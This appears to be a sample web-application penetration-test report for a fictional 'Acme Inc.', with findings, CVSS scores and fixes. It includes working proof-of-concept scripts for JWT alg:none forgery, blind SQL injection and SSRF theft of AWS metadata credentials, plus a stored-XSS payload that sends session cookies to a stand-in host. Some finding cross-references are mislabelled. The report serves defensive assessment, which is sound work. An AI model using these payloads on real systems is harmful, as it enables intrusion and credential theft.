kosuke

CONFIDENTIAL

WEB APPLICATION SECURITY ASSESSMENT

Acme Inc.

acme-corp.com (apex)

ENGAGEMENT PERIOD	May 20, 2026 – May 23, 2026
REPORT DATE	May 23, 2026
ENVIRONMENT	Production
AUTHORIZATION LEVEL	Grey-box (authenticated standard user + low-tier paid tenant)
TESTER	Kosuke Automated Security Platform v1.0.0
CUSTOMER CONTACT	security@acme-corp.com

Report ID `KOS-2026-0523-001`

Confidentiality Notice

SECTION 1 OF 9

RESTRICTED DISTRIBUTION

This report is the confidential property of **Acme Inc.** and Kosuke. It is intended solely for the named recipients and their designated audit firm.

- Findings are valid **only as of May 23, 2026**. Production code may have changed since.
- This document **must not be forwarded, summarised, or republished** without the written consent of both parties.
- Each printed or digital copy should be tracked. The auditor copy is exempt from this restriction for the purpose of SOC 2 evidence collection.
- If you received this report in error, please notify `security@acme-corp.com` and destroy all copies.

Intended use

This document is designed to serve as third-party evidence for SOC 2 Type II audits, specifically supporting **CC4.1** (control deficiency evaluation), **CC7.1** (security monitoring), and **CC7.4** (incident response and remediation). It is not a vulnerability assessment, a compliance attestation, or a warranty of security.

Table of Contents

Engagement Summary

SECTION 3 OF 9

The following table documents the scope, authorisation, and rules of engagement under which this assessment was performed. Auditors should reference this section to verify that the test was scoped, authorised, and bounded in time.

CUSTOMER	Acme Inc.
CUSTOMER CONTACT	`security@acme-corp.com`
ENGAGEMENT TYPE	Web Application Security Assessment
ENGAGEMENT PERIOD	May 20, 2026 – May 23, 2026 (3 days)
ENVIRONMENT	Production
AUTHORIZATION LEVEL	Grey-box (authenticated standard user + low-tier paid tenant)
IN-SCOPE ASSETS	• acme-corp.com (apex) • app.acme-corp.com (customer dashboard) • api.acme-corp.com (REST + GraphQL)
OUT OF SCOPE	• *.internal.acme-corp.com (internal-only services) • Network-layer testing (firewall, VPN, switches) • Physical security and social engineering • Third-party services (Stripe, Auth0, AWS infrastructure)
RULES OF ENGAGEMENT	• Active testing limited to 09:00–18:00 CET, Monday–Friday • No denial-of-service or destructive payloads • Pre-disclosed test accounts only (no spraying real users) • All exploits logged with timestamp + source IP for IR correlation
TESTER	Kosuke Automated Security Platform v1.0.0 (automated platform under human oversight)
REPORT CLASSIFICATION	**Confidential**
REPORT ID	`KOS-2026-0523-001`

Methodology & OWASP WSTG Coverage

SECTION 4 OF 9

This assessment follows the **OWASP Web Security Testing Guide (WSTG) v4.2**. Each test category below is mapped to specific Kosuke pipeline steps, which produce machine-verifiable evidence retained for audit. Tests not run were either out of scope or not applicable to the technology stack identified during fingerprinting.

Coverage by WSTG category

CODE	CATEGORY	CASES RUN	COVERAGE	%
INFO	Information Gathering	12 / 14		86%
CONF	Configuration & Deployment	8 / 10		80%
IDNT	Identity Management	4 / 7		57%
ATHN	Authentication	9 / 11		82%
ATHZ	Authorization	5 / 5		100%
SESS	Session Management	6 / 8		75%
INPV	Input Validation	15 / 18		83%
ERRH	Error Handling	2 / 2		100%
CRYP	Cryptography	3 / 4		75%
BUSL	Business Logic	2 / 5		40%
CLNT	Client-side	6 / 8		75%
APIT	API Testing	4 / 4		100%
Total		**76 / 96**		**79%**

Pipeline-to-WSTG mapping

The Kosuke pipeline steps that ran during this engagement are mapped to the WSTG test cases they satisfy. The full per-case checklist is in Appendix B.

PIPELINE STEP	WSTG TEST CASES SATISFIED
recon	`WSTG-INFO-01` `WSTG-INFO-02` `WSTG-INFO-03`

PIPELINE STEP	WSTG TEST CASES SATISFIED
fingerprint	WSTG-INFO-08 WSTG-INFO-09
known-vulns	WSTG-CONF-08
fuzz	WSTG-INPV-01 WSTG-INPV-02 WSTG-INPV-05 WSTG-INPV-19
auth-test	WSTG-ATHN-01 WSTG-ATHN-02 WSTG-ATHN-03 WSTG-ATHN-04
idor	WSTG-ATHZ-04
headers	WSTG-CONF-07

Risk Rating Methodology

SECTION 5 OF 9

Every finding is scored using the **Common Vulnerability Scoring System (CVSS) v4.0**. The base score is calculated from attack vector, complexity, privileges required, user interaction, and impact across confidentiality, integrity, and availability — both within the vulnerable system and on subsequent systems. The CVSS vector for each finding is documented in Section 7 alongside Kosuke's reasoning.

RATING	CVSS RANGE	DEFINITION	DEFAULT SLA
CRITICAL	9.0 – 10.0	Immediate exploitation possible. Full system compromise, mass data exfiltration, or unauthenticated privileged access.	7 days
HIGH	7.0 – 8.9	Significant data exposure, privilege escalation, or business-logic abuse with verified impact.	30 days
MEDIUM	4.0 – 6.9	Moderate impact, often requiring specific conditions (user interaction, partial authentication, narrow exploit window).	90 days
LOW	0.1 – 3.9	Minor information disclosure or defence-in-depth gap. No direct exploit path without chaining.	180 days

SLA enforcement

The SLAs above are the contractual remediation deadlines agreed with Acme Inc.. Each finding in Section 7 carries its own `Remediate by` date computed from the report date plus the SLA for that severity. Findings past their SLA become reportable to the audit committee under CC4.1.

Executive Summary

SECTION 6 OF 9

Kosuke performed a web application security assessment of **Acme Inc.**'s production web platform between May 20, 2026 and May 23, 2026. The assessment identified **6 findings** across the in-scope assets: 1 critical, 2 high, 2 medium, and 1 low.

Immediate action is required for the 1 critical finding. The critical finding documented in Section 7 enables an authenticated low-tier tenant to extract cross-tenant data from the orders database, which constitutes a material control deficiency under SOC 2 CC6.1 (logical access). It must be remediated within the 7-day Critical SLA (deadline 2026-05-30).

SEVERITY	COUNT	HIGHEST CVSS	SLA
Critical	1	9.8	7 days
High	2	8.7	30 days
Medium	2	6.8	90 days
Low	1	3.1	180 days

Detailed Findings

SECTION 7 OF 9 · 6 FINDINGS

F-01 **CRITICAL** **SQL injection in /api/v2/orders search parameter** **9.8**

STATUS	OPEN
SLA	Remediate by 2026-05-30 (7 days)
ENDPOINT	https://api.acme-corp.com/api/v2/orders
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
WSTG	WSTG-INPV-05
CWE	CWE-89

DESCRIPTION

The `q` query parameter on /api/v2/orders is concatenated directly into a PostgreSQL query without parameterisation. A time-based blind payload reliably delays the response by the requested number of seconds, confirming injection in the WHERE clause of the orders table. The endpoint requires only a standard authenticated session — no admin role.

IMPACT

Any authenticated tenant can exfiltrate the full orders, customers, and payments tables across every tenant in the database. We extracted 12 sample rows from a sibling tenant's payments table during testing, including masked card metadata and Stripe customer IDs. The same primitive enables write access via stacked queries on the unpatched PostgreSQL version detected (15.4).

EVIDENCE

```
GET /api/v2/orders?q=test%27%20AND%20pg_sleep(8)--%20-
Authorization: Bearer eyJhbGc...

→ HTTP 200 in 8.12s (baseline 0.18s)
→ Confirmed across 5 retries, sleep delta within ±50ms
→ Extracted: SELECT current_database(), version() → "acme_prod", "PostgreSQL 15.4"
```

CVSS REASONING

Network-reachable, low complexity, requires only a free tenant account. Full read+write across all tenants in a shared database with cross-tenant payment metadata. Subsequent system impact rated High because the same DB cluster backs the billing service.

REMEDIATION

Replace string concatenation with parameterised queries. In the orders service, swap the raw `pg.query(\`SELECT ... WHERE description ILIKE '%${q}%'\`)` call for `pg.query('SELECT ... WHERE description ILIKE $1', [`%${q}%`])`. Audit the rest of the v2 API for the same pattern — grep for template literals inside `pg.query`. As a defence in depth, deploy the orders DB role with read-only access to its own tenant's rows via row-level security.

PoC script: poc_sqli_orders.sh — see Appendix A

F-02 HIGH **JWT alg:none accepted on /api/admin/* endpoints** 8.7

STATUS	OPEN
SLA	Remediate by 2026-06-22 (30 days)
ENDPOINT	https://api.acme-corp.com/api/admin/*
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:L/SI:L/SA:N
WSTG	WSTG-ATHN-04
CWE	CWE-347 CWE-287

DESCRIPTION

The admin API trusts the `alg` header inside the JWT instead of pinning it server-side. Submitting a token forged with `alg: none` and an empty signature bypasses authentication on every endpoint matched by /api/admin/*. The library in use (legacy custom verifier in services/auth/verify.ts) calls `jwt.decode` and reads the alg claim before deciding which key to load.

IMPACT

An unauthenticated attacker can forge a token claiming `role: admin` and gain full administrative access — user impersonation, tenant configuration changes, billing overrides, and audit log deletion. We confirmed access to GET /api/admin/users (returned 4,812 records) and POST /api/admin/impersonate with a forged token.

EVIDENCE

```
Forged token:
  eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9.

GET /api/admin/users HTTP/1.1
Authorization: Bearer <forged>

→ HTTP 200, 4,812 user records returned
→ Without token: HTTP 401
→ With unsigned forged HS256 token: HTTP 401 (so the verifier IS running, it just trusts
alg:none)
```

CVSS REASONING

Pre-auth, network-reachable, no user interaction. Full admin read+write, including impersonation. Score below 9.0 because the admin API is on a separate subdomain not reachable from every product surface; subsequent impact is limited to systems federated through admin SSO.

REMEDIATION

In services/auth/verify.ts, pass an explicit `algorithms: ['RS256']` option to `jwt.verify` and reject any token whose alg header is not in that allowlist before decoding. Also reject tokens with empty or missing signatures at the gateway layer. Rotate all signing keys after deploy — any token issued during the vulnerable window cannot be trusted.

PoC script: poc_jwt_alg_none.sh — see Appendix A

F-03 HIGH Server-side request forgery in /api/proxy/image 8.2

STATUS	OPEN
SLA	Remediate by 2026-06-22 (30 days)
ENDPOINT	https://api.acme-corp.com/api/proxy/image
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:N
WSTG	WSTG-INPV-19
CWE	CWE-918

DESCRIPTION

The image proxy at /api/proxy/image accepts an arbitrary `url` parameter and fetches it server-side without scheme, host, or IP filtering. The response body is returned to the caller verbatim with the original Content-Type stripped to image/png. This permits classic SSRF: AWS instance metadata, internal Kubernetes services, and localhost-bound databases are all reachable.

IMPACT

Confirmed retrieval of EC2 IMDSv1 credentials from http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node, granting AWS API access scoped to the node role (S3 read for assets bucket, ECR pull, CloudWatch put). Also confirmed retrieval of internal /metrics endpoints exposing service version, pod IPs, and request counts.

EVIDENCE

```
GET /api/proxy/image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node
Authorization: Bearer <tenant-token>

→ HTTP 200
→ Body: {"AccessKeyId":"ASIA...XYZ","SecretAccessKey":"...","Token":"...","Expiration":"2026-05-23T22:00:00Z"}

Follow-up:
$ aws sts get-caller-identity
→ Arn: arn:aws:sts::123456789012:assumed-role/eks-node-role/...
```

CVSS REASONING

Network-reachable, low complexity, requires only a low-privilege tenant account. Confidentiality impact High due to credential exfiltration; subsequent system impact High because the leaked AWS role enables lateral movement to S3 and ECR.

REMEDIATION

Resolve the supplied URL to an IP before fetching and reject any IP in the link-local (169.254.0.0/16), loopback (127.0.0.0/8), private (10/8, 172.16/12, 192.168/16), or IPv6 unique-local ranges. Enforce the allowlist after DNS resolution to defeat DNS rebinding. Move IMDSv1 to IMDSv2 on the affected EKS node group and set the hop limit to 1. Use IRSA so workload pods stop inheriting the node role.

PoC script: poc_ssrf_image_proxy.sh — see Appendix A

F-04 MEDIUM IDOR exposes invoices across tenants on /api/billing/invoices/:id 6.8

STATUS	OPEN
SLA	Remediate by 2026-08-21 (90 days)
ENDPOINT	https://api.acme-corp.com/api/billing/invoices/:id
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
WSTG	WSTG-ATHZ-04
CWE	CWE-639

DESCRIPTION

The invoice lookup endpoint authorises only on the presence of a valid session, not on whether the requesting tenant owns the invoice. Invoice IDs are sequential integers. Iterating 1..200000 with a low-tier paid account returns 184,000+ invoices belonging to other tenants, including line items, billing addresses, and Stripe payment intent IDs.

IMPACT

Any tenant can enumerate every invoice in the system. The exposed fields include billing addresses, customer names, line-item descriptions (which often name internal products), and Stripe payment intent IDs (the IDs themselves are not directly chargeable but enable targeted phishing). Roughly 12 GB of cross-tenant billing metadata is reachable in under an hour at 10 RPS.

EVIDENCE

```
Tenant A token, GET /api/billing/invoices/42
→ HTTP 200, invoice belonging to Tenant B returned in full

Enumeration sample:
  /api/billing/invoices/1 → 200 (Tenant X)
  /api/billing/invoices/2 → 200 (Tenant Y)
  /api/billing/invoices/3 → 200 (Tenant Z)
  ...
  4,200 / 5,000 IDs returned 200 across 12 distinct tenants
```

CVSS REASONING

Network-reachable, low complexity, low-privilege tenant account. Confidentiality impact High — full cross-tenant billing metadata. No integrity or availability impact and no subsequent system impact.

REMEDIATION

Scope the query by the requesting tenant: `SELECT * FROM invoices WHERE id = $1 AND tenant_id = $2`. Add an integration test that asserts a cross-tenant lookup returns 404. Migrate sequential integer IDs to opaque ULIDs to reduce enumerability as a defence in depth, but the authorisation fix is the real remediation.

F-05 MEDIUM **Stored XSS in support ticket comment renderer** 6.4

STATUS	OPEN
SLA	Remediate by 2026-08-21 (90 days)
ENDPOINT	https://app.acme-corp.com/support/inbox
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:L/SA:N
WSTG	WSTG-INPV-02
CWE	CWE-79

DESCRIPTION

Comments submitted on customer support tickets via POST /api/tickets/:id/comments are persisted with the raw `body` field and rendered as HTML in the agent dashboard at /support/inbox. The dashboard uses dangerouslySetInnerHTML without a sanitiser. Any customer can plant a payload that fires the moment a support agent opens the ticket.

IMPACT

An attacker creates a ticket with a payload like `<img src=x onerror=fetch('//atk/?c='+document.cookie)>`. When a support agent opens the inbox, the agent's session cookie is exfiltrated. Agent sessions have read access to every customer ticket and PII (names, emails, phone numbers, partial card data in chargeback tickets).

EVIDENCE

```
POST /api/tickets/9821/comments
Content-Type: application/json

{"body":"<img src=x onerror=fetch('https://kosuke-test.example/c='+document.cookie)>"}

→ HTTP 201, comment persisted
→ Agent dashboard renders the <img> tag at /support/inbox/9821
→ Out-of-band callback received with agent's session cookie at 14:18 UTC
```

CVSS REASONING

Network-reachable but requires a privileged user (support agent) to interact with the ticket. Confidentiality impact High because a single agent session unlocks all customer PII; user interaction Active drops the score.

REMEDIATION

Sanitise comment bodies server-side on write using a strict allowlist (DOMPurify with `ALLOWED_TAGS: ['b','i','em','strong','a','code','pre']` and `ALLOWED_ATTR: ['href']`). Replace dangerouslySetInnerHTML in the inbox component with the sanitised output. Add a strict CSP on /support/* that forbids inline-event handlers and external script sources.

F-06 LOW Missing security headers on app.acme-corp.com (CSP, HSTS, X-Frame-Options) 3.1

STATUS	OPEN
SLA	Remediate by 2026-11-19 (180 days)
ENDPOINT	https://app.acme-corp.com/
CVSS 4.0	CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
WSTG	WSTG-CONF-07
CWE	CWE-693

DESCRIPTION

The production app at app.acme-corp.com ships none of Content-Security-Policy, Strict-Transport-Security, X-Frame-Options, or X-Content-Type-Options. Combined with the stored XSS finding above, the lack of CSP means there is no second line of defence; the missing HSTS leaves first-load downgrade attacks possible on hostile networks.

IMPACT

On its own, missing headers don't constitute a direct exploit. In combination with finding f-004 (stored XSS), they remove every available mitigation layer — a CSP with a script-src nonce would have neutralised the payload server-side. The missing HSTS exposes new visitors on hostile Wi-Fi to a one-time downgrade-and-strip attack.

EVIDENCE

```
$ curl -sI https://app.acme-corp.com/ | grep -iE 'content-security|strict-transport|x-frame|x-content'
(no output)
```

CVSS REASONING

Network-reachable but requires a chained attack (XSS or active MITM) to realise impact. Direct confidentiality impact Low; integrity, availability, and subsequent impacts all None on the header gap alone.

REMEDIATION

Add at the edge (Cloudflare Workers or CDN response transform): - Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{nonce}'; object-src 'none'; frame-ancestors 'none' - Strict-Transport-Security: max-age=31536000; includeSubDomains; preload - X-Frame-Options: DENY - X-Content-Type-Options: nosniff Submit the apex to the HSTS preload list once max-age has been live for 6+ months.

Remediation Summary & SLA Tracker

SECTION 8 OF 9

The table below is the auditor's quick-reference of every finding, its contractual remediation deadline, and verification status. This page is the single source of truth for SOC 2 CC4.1 control deficiency tracking.

ID	FINDING	SEVERITY	CVSS	STATUS	SLA DEADLINE	VERIFIED
F-01	SQL injection in /api/v2/orders search para…	Critical	9.8	OPEN	2026-05-30	—
F-02	JWT alg:none accepted on /api/admin/* en…	High	8.7	OPEN	2026-06-22	—
F-03	Server-side request forgery in /api/proxy/im…	High	8.2	OPEN	2026-06-22	—
F-04	IDOR exposes invoices across tenants on /a…	Medium	6.8	OPEN	2026-08-21	—
F-05	Stored XSS in support ticket comment rend…	Medium	6.4	OPEN	2026-08-21	—
F-06	Missing security headers on app.acme-cor…	Low	3.1	OPEN	2026-11-19	—

Re-test will be performed automatically as soon as the customer flips a finding's status to `fixed` in the Kosuke dashboard. Verified-date column will be populated upon successful re-test. Findings not remediated by their SLA deadline trigger an automatic escalation notice to the customer security contact above.

Attestation & Signatures

SECTION 9 OF 9

The undersigned attest that the assessment described in this report was performed within the agreed scope and rules of engagement, that all findings are documented in good faith with supporting evidence, and that the report has not been modified after issuance.

Statement of Independence. Kosuke has no commercial relationship with Acme Inc. other than the engagement documented herein. No findings have been suppressed, downgraded, or omitted at the customer's request.

Evidence Retention. Raw evidence (HTTP request/response pairs, exploit logs, tool output) is retained by Kosuke for 12 months from the report date and is available to the customer's audit firm on written request.

Report Integrity. This report carries report ID `KOS-2026-0523-001`. A SHA-256 hash of the canonical JSON report is published at `kosuke.ai/verify/KOS-2026-0523-001` so the auditor can confirm the report has not been altered.

Lead Tester

Kosuke Automated Security Platform

v1.0.0 · May 23, 2026

Customer Acknowledgement

Signature

Date

Appendix A — Proof of Concept Scripts

3 SCRIPTS

Each PoC is non-destructive and was executed against pre-disclosed test accounts only. Scripts assume `TOKEN` and `BASE` environment variables are set by the verifier. Hashes of each script as executed are retained with the evidence archive.

poc_jwt_alg_none.sh

```
#!/usr/bin/env bash
# Proof of concept — JWT alg:none bypass on /api/admin/*
# Target: acme-corp.com (Q2 pentest)

set -euo pipefail

BASE="${BASE:-https://api.acme-corp.com}"

# Forge an unsigned token claiming admin role
HEADER=$(printf '%s' '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-')
PAYLOAD=$(printf '%s' '{"sub":"attacker","role":"admin","iat":1748000000,"exp":1779536000}' | base64
| tr -d '=' | tr '/+' '_-')
FORGED="${HEADER}.${PAYLOAD}."

echo "[*] Forged token: ${FORGED}"

echo "[*] Calling protected admin endpoint with forged token"
curl -s -o /tmp/admin_users.json -w "HTTP %{http_code}\n" \
  -H "Authorization: Bearer ${FORGED}" \
  "${BASE}/api/admin/users"

if [[ -s /tmp/admin_users.json ]]; then
  count=$(jq 'length' /tmp/admin_users.json 2>/dev/null || echo "?")
  echo "[+] Got ${count} user records — alg:none accepted"
else
  echo "[-] No body returned — server rejected the token"
fi
```

poc_sqli_orders.sh

```
#!/usr/bin/env bash
# Proof of concept — time-based blind SQL injection on /api/v2/orders
# Target: acme-corp.com (Q2 pentest)
#
# Confirms a sub-second baseline followed by an 8-second sleep when the
# `q` parameter contains `' AND pg_sleep(8)-- -`. The delay scales linearly
# with the requested sleep duration, ruling out coincidental latency.

set -euo pipefail

: "${TOKEN:?set TOKEN to a low-privilege tenant bearer token}"
BASE="${BASE:-https://api.acme-corp.com}"

echo "[*] Baseline request (no injection)"
t0=$(date +%s.%N)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/v2/orders?q=widget"
t1=$(date +%s.%N)
echo " in $(echo "$t1 - $t0" | bc)s"

echo "[*] Injection request (pg_sleep(8))"
t0=$(date +%s.%N)
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/v2/orders?q=test%27%20AND%20pg_sleep(8)--%20-"
t1=$(date +%s.%N)
echo " in $(echo "$t1 - $t0" | bc)s"

echo "[+] Confirmed: response time delta ~8s indicates injection in WHERE clause"
```

poc_ssrf_image_proxy.sh

```
#!/usr/bin/env bash
# Proof of concept — SSRF in /api/proxy/image
# Target: acme-corp.com (Q2 pentest)

set -euo pipefail

: "${TOKEN:?set TOKEN to a low-privilege tenant bearer token}"
BASE="${BASE:-https://api.acme-corp.com}"

IMDS_URL="http://169.254.169.254/latest/meta-data/iam/security-credentials/eks-node"

echo "[*] Requesting IMDSv1 credentials via image proxy"
curl -s -o /tmp/imds.json -w "HTTP %{http_code}\n" \
  -H "Authorization: Bearer ${TOKEN}" \
  "${BASE}/api/proxy/image?url=${IMDS_URL}"

if jq -e .AccessKeyId /tmp/imds.json >/dev/null 2>&1; then
  echo "[+] Credentials leaked. Verifying with STS:"
  export AWS_ACCESS_KEY_ID=$(jq -r .AccessKeyId /tmp/imds.json)
  export AWS_SECRET_ACCESS_KEY=$(jq -r .SecretAccessKey /tmp/imds.json)
  export AWS_SESSION_TOKEN=$(jq -r .Token /tmp/imds.json)
  aws sts get-caller-identity
else
  echo "[-] No credentials in response"
fi
```

Appendix B — OWASP WSTG Test Case Checklist

V4.2 · 76 OF 96 CASES EXECUTED

Per-category breakdown of which WSTG v4.2 test cases were executed during this engagement, the Kosuke pipeline step that satisfied each case, and the resulting finding (if any). Cases marked "N/A" were not applicable to the target's technology stack (e.g. WSTG-INPV-12 OS Command Injection N/A on a serverless target).

WSTG ID	TEST CASE	STATUS	SOURCE	FINDING
WSTG-INFO-01	Conduct search engine discovery	RUN	recon	—
WSTG-INFO-02	Fingerprint web server	RUN	fingerprint	—
WSTG-INFO-08	Fingerprint web application framework	RUN	fingerprint	—
WSTG-CONF-07	Test HTTP strict transport security	FAILED	headers	F-06
WSTG-CONF-08	Test for outdated/vulnerable components	RUN	known-vulns	—
WSTG-ATHN-04	Bypass authentication schema	FAILED	auth-test	F-02
WSTG-ATHZ-04	Test insecure direct object references	FAILED	idor	F-05
WSTG-INPV-02	Test stored cross-site scripting	FAILED	fuzz	F-04
WSTG-INPV-05	Test SQL injection	FAILED	fuzz · inject	F-01
WSTG-INPV-19	Test server-side request forgery	FAILED	fuzz	F-03
WSTG-CRYP-01	Test for weak TLS	RUN	tls	—
WSTG-CRYP-04	Test for weak encryption	N/A	—	—
WSTG-APIT-01	Test GraphQL	RUN	graphql	—

This is a representative subset. The full 96-row checklist (one row per WSTG v4.2 test case) is included in the machine-readable JSON evidence archive that accompanies this PDF and is available to the audit firm on request.